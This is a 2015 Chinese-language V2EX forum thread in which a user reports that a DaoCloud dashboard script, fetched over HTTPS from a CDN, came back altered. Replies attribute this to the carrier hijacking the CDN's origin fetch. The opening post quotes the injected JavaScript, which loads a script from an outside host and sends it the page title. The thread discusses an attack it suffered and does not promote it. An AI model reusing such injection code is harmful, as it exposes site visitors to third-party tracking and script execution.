wzxjohn
V2EX  ›  问与答

今天居然遇到了 DaoCloud 被 HTTPS 劫持?

  •  
  •   wzxjohn · Nov 4, 2015 · 2457 views
    This topic created in 4025 days ago, the information mentioned may be changed or developed.
    今天访问 DaoCloud 的时候突然控制面板卡吃豆人了,仔细一看发现居然是因为加载了 HTTP 的资源被 Chrome 拦住了,打开控制台发现是这个 JS :
    https://dn-daodashboard-prod.qbox.me/app/958e675a.app.js
    正常情况应该是一大串,但是我得到的是:

    document.write("<script language='javascript' src='http://dn-daodashboard-prod.qbox.me/app/958e675a.app.js?_vv=20080808'></script>");if(top.location==self.location){document.write("<script language='javascript' src='http://gg.jtertp.com:7777/rs/rs.php?src=p0005&t="+encodeURIComponent(document.title)+"&ci=140380449942919'></script>");}

    搜了一下发现 gg.jtertp.com 似乎是电信的劫持?感觉真是好奇怪!电信居然已经可以进行 HTTPS 劫持了?!
    求各路大神分析原因。。。
    PS :证书应该没有问题,是 GeoTrust 的。
    PSS :科学上网出国之后无此现象,不挂科学上网同网络环境下 3 台机器不同浏览器均出现这个现象
    12 replies  •  2016-11-05 12:26:52 +08:00
    Laforet
    Laforet
    Nov 4, 2015
    1
    把证书保存出来对比一下。

    不过看你的描述应该是那个域名上所有的请求都被劫持到了 http 上才会出现混合内容
    hgc81538
    hgc81538
    Nov 4, 2015
    2
    應該是源被劫持了
    https://www.sunp.eu.org/t/212885
    lhbc
    lhbc
    Nov 4, 2015 via Android
    3
    某 CDN 回源被劫持
    运营商真变态啊, IDC 之间的网络也搞劫持
    运营商为推广全面 https 化真是费尽心机啊
    wzxjohn
    wzxjohn
    OP
    Nov 4, 2015
    4
    @Laforet 这样的话证书就不可能对了,所以肯定不是全劫持到 HTTP
    @hgc81538
    @lhbc 我看了那篇文章,但是这个不能解释为啥连七牛返回的 Header 都被改掉了。。。
    hgc81538
    hgc81538
    Nov 4, 2015 via iPhone
    5
    @wzxjohn 因為運營商劫持了源與 cdn 的流量,它想更改什麼都可以
    Laforet
    Laforet
    Nov 5, 2015
    6
    @lhbc
    @wzxjohn
    @hgc81538

    长见识了,居然这样也可以
    wzxjohn
    wzxjohn
    OP
    Nov 5, 2015
    7
    @hgc81538 劫持回源流量怎么可能 CDN 服务器返回的 Header 也被改了。。。
    hgc81538
    hgc81538
    Nov 5, 2015 via iPhone
    8
    @wzxjohn 用戶請求文件, cdn 沒文件找源, cdn 向源請求文件,運營商劫持通訊, cdn 收到被竄改的內容,包括 header
    wzxjohn
    wzxjohn
    OP
    Nov 5, 2015
    9
    @hgc81538 你还是没懂我的意思,本身七牛 CDN 服务器会返回一些固定的头,但是被劫持的文件却没有这些头。。。
    Senorsen
    Senorsen
    Nov 5, 2016
    10
    可怕,我说怎么最近 daocloud 首页这么卡…

    CDN 回源时劫持,真是个厉害的新套路
    Senorsen
    Senorsen
    Nov 5, 2016
    11
    呃… 居然是个老帖
    wzxjohn
    wzxjohn
    OP
    Nov 5, 2016
    12
    @Senorsen 哈哈哈~很久之前啦~
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   3464 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 35ms · UTC 05:36 · PVG 13:36 · LAX 21:36 · JFK 00:36
    ♥ Do have faith in what you're doing.